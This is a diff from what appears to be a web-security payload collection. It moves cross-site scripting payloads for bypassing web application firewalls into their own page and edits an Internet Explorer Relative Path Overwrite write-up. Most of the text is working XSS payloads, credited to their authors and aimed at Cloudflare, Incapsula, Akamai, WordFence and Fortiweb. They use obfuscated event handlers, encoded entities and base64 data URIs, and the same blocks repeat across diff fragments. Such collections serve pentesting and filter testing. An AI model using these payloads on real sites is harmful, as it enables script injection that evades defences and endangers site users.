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WAF bypass moved to a separate page
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- [Bypass CSP unsafe-inline](#bypass-csp-unsafe-inline)
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- [Bypass CSP script-src self](#bypass-csp-script-src-self)
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- [Bypass CSP script-src data](#bypass-csp-script-src-data)
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- [Common WAF Bypass](#common-waf-bypass)
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- [Cloudflare XSS Bypasses by @Bohdan Korzhynskyi](#cloudflare-xss-bypasses-by-bohdan-korzhynskyi)
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- [25st January 2021](#25st-january-2021)
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- [21st April 2020](#21st-april-2020)
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- [22nd August 2019](#22nd-august-2019)
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- [5th June 2019](#5th-june-2019)
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- [3rd June 2019](#3rd-june-2019)
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- [Cloudflare XSS Bypass - 22nd March 2019 (by @RakeshMane10)](#cloudflare-xss-bypass---22nd-march-2019-by-rakeshmane10)
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- [Cloudflare XSS Bypass - 27th February 2018](#cloudflare-xss-bypass---27th-february-2018)
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- [Chrome Auditor - 9th August 2018](#chrome-auditor---9th-august-2018)
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- [Incapsula WAF Bypass by @Alra3ees- 8th March 2018](#incapsula-waf-bypass-by-alra3ees--8th-march-2018)
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- [Incapsula WAF Bypass by @c0d3G33k - 11th September 2018](#incapsula-waf-bypass-by-c0d3g33k---11th-september-2018)
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- [Incapsula WAF Bypass by @daveysec - 11th May 2019](#incapsula-waf-bypass-by-daveysec---11th-may-2019)
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- [Akamai WAF Bypass by @zseano - 18th June 2018](#akamai-waf-bypass-by-zseano---18th-june-2018)
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- [Akamai WAF Bypass by @s0md3v - 28th October 2018](#akamai-waf-bypass-by-s0md3v---28th-october-2018)
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- [WordFence WAF Bypass by @brutelogic - 12th September 2018](#wordfence-waf-bypass-by-brutelogic---12th-september-2018)
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- [Fortiweb WAF Bypass by @rezaduty - 9th July 2019](#fortiweb-waf-bypass-by-rezaduty---9th-july-2019)
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- [References](#references)
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## Vulnerability Details
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@ -1254,111 +1237,11 @@ GET /?xss=<script>alert(1)</script>&a&a&a&a&a&a&a&a...[REPEATED &a 1000 times]&a
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Source: [@pilvar222](https://twitter.com/pilvar222/status/1784618120902005070)
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## Common WAF Bypass
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### Cloudflare XSS Bypasses by [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
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#### 25st January 2021
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```html
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<svg/onrandom=random onload=confirm(1)>
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<video onnull=null onmouseover=confirm(1)>
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```
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#### 21st April 2020
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```html
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<svg/OnLoad="`${prompt``}`">
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```
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#### 22nd August 2019
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```html
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<svg/onload=%26nbsp;alert`bohdan`+
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```
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#### 5th June 2019
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```html
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1'"><img/src/onerror=.1|alert``>
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```
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#### 3rd June 2019
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```html
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<svg onload=prompt%26%230000000040document.domain)>
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<svg onload=prompt%26%23x000000028;document.domain)>
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xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
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```
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### Cloudflare XSS Bypass - 22nd March 2019 (by @RakeshMane10)
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```
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<svg/onload=alert()//
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```
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### Cloudflare XSS Bypass - 27th February 2018
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```html
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<a href="j	a	v	asc
ri	pt:(a	l	e	r	t	(document.domain))">X</a>
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```
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### Chrome Auditor - 9th August 2018
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```javascript
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</script><svg><script>alert(1)-%26apos%3B
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```
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Live example by @brutelogic - [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert(1)-%26apos%3B)
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### Incapsula WAF Bypass by [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)- 8th March 2018
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```javascript
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anythinglr00</script><script>alert(document.domain)</script>uxldz
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anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
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```
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### Incapsula WAF Bypass by [@c0d3G33k](https://twitter.com/c0d3G33k) - 11th September 2018
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```javascript
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<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
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```
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### Incapsula WAF Bypass by [@daveysec](https://twitter.com/daveysec/status/1126999990658670593) - 11th May 2019
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```html
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<svg onload\r\n=$.globalEval("al"+"ert()");>
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```
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### Akamai WAF Bypass by [@zseano](https://twitter.com/zseano) - 18th June 2018
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```javascript
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?"></script><base%20c%3D=href%3Dhttps:\mysite>
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```
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### Akamai WAF Bypass by [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480) - 28th October 2018
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```html
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<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
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```
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### WordFence WAF Bypass by [@brutelogic](https://twitter.com/brutelogic) - 12th September 2018
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```javascript
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<a href=javascript:alert(1)>
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```
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### Fortiweb WAF Bypass by [@rezaduty](https://twitter.com/rezaduty) - 9th July 2019
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```javascript
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\u003e\u003c\u0068\u0031 onclick=alert('1')\u003e
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```
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## Labs
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* [PortSwigger Labs for XSS](https://portswigger.net/web-security/all-labs#cross-site-scripting)
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## References
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- [Unleashing-an-Ultimate-XSS-Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot)
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103
XSS Injection/XSS Common WAF Bypass.md
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103
XSS Injection/XSS Common WAF Bypass.md
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# Common WAF Bypass
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## Cloudflare
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* 25st January 2021 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
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```js
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<svg/onrandom=random onload=confirm(1)>
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<video onnull=null onmouseover=confirm(1)>
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```
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* 21st April 2020 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
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```js
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<svg/OnLoad="`${prompt``}`">
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```
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* 22nd August 2019 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
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```js
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<svg/onload=%26nbsp;alert`bohdan`+
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```
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* 5th June 2019 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
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```js
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1'"><img/src/onerror=.1|alert``>
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```
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* 3rd June 2019 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
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```js
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<svg onload=prompt%26%230000000040document.domain)>
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<svg onload=prompt%26%23x000000028;document.domain)>
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xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
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```
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* 22nd March 2019 - @RakeshMane10
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```js
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<svg/onload=alert()//
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```
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* 27th February 2018
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```html
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<a href="j	a	v	asc
ri	pt:(a	l	e	r	t	(document.domain))">X</a>
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```
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## Chrome Auditor
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NOTE: Chrome Auditor is deprecated and removed on latest version of Chrome and Chromium Browser.
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* 9th August 2018
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```javascript
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</script><svg><script>alert(1)-%26apos%3B
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```
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## Incapsula WAF
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* 11th May 2019 - [@daveysec](https://twitter.com/daveysec/status/1126999990658670593) -
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```js
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<svg onload\r\n=$.globalEval("al"+"ert()");>
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```
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* 8th March 2018 - [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)
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```javascript
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anythinglr00</script><script>alert(document.domain)</script>uxldz
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anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
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```
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* 11th September 2018 - [@c0d3G33k](https://twitter.com/c0d3G33k)
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```javascript
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<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
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```
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## Akamai WAF
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* 18th June 2018 - [@zseano](https://twitter.com/zseano)
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```javascript
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?"></script><base%20c%3D=href%3Dhttps:\mysite>
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```
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* 28th October 2018 - [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480)
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```svg
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<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
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```
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## WordFence WAF
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* 12th September 2018 - [@brutelogic](https://twitter.com/brutelogic)
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```html
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<a href=javascript:alert(1)>
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```
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## Fortiweb WAF
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* 9th July 2019 - [@rezaduty](https://twitter.com/rezaduty)
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```javascript
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\u003e\u003c\u0068\u0031 onclick=alert('1')\u003e
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```
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## References
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* [TODO](TODO)
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@ -1,25 +1,24 @@
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# XSS with Relative Path Overwrite - IE 8/9 and lower
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# XSS with Relative Path Overwrite
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:WARNING: Requires Internet Explorer 8/9 and lower.
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You need these 3 components
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```javascript
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1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
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2) URL Rewriting.
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3) Relative addressing to CSS style sheet : ../style.css
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```
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1. Stored XSS that allows CSS injection. : `{}*{xss:expression(open(alert(1)))}`
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2. URL Rewriting.
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3. Relative addressing to CSS style sheet : `../style.css`
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A little example
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Here is the HTML code of `http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]`
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```html
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http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
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<html>
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<head>
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<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
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<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
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</head>
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<body>
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Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
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</body>
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<head>
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<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
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<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
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</head>
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<body>
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Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
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</body>
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</html>
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```
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@ -28,12 +27,13 @@ Explanation of the vulnerability
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> The Meta element forces IE’s document mode into IE7 compatible which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert.
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> A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.
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Demo 1 at `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php`
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Demo 2 at `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3`
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MultiBrowser : `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php`
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* Demo 1 at `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php`
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* Demo 2 at `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3`
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* MultiBrowser : `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php`
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From : `http://www.thespanner.co.uk/2014/03/21/rpo/`
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## Mutated XSS for Browser IE8/IE9
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```javascript
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@ -46,4 +46,4 @@ IE will read and write (decode) HTML multiple time and attackers XSS payload wil
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## References
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- [TODO](TODO)
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- [RPO - Relative VS Absolute - The Spanner - Friday, 21 March 2014](http://www.thespanner.co.uk/2014/03/21/rpo/)
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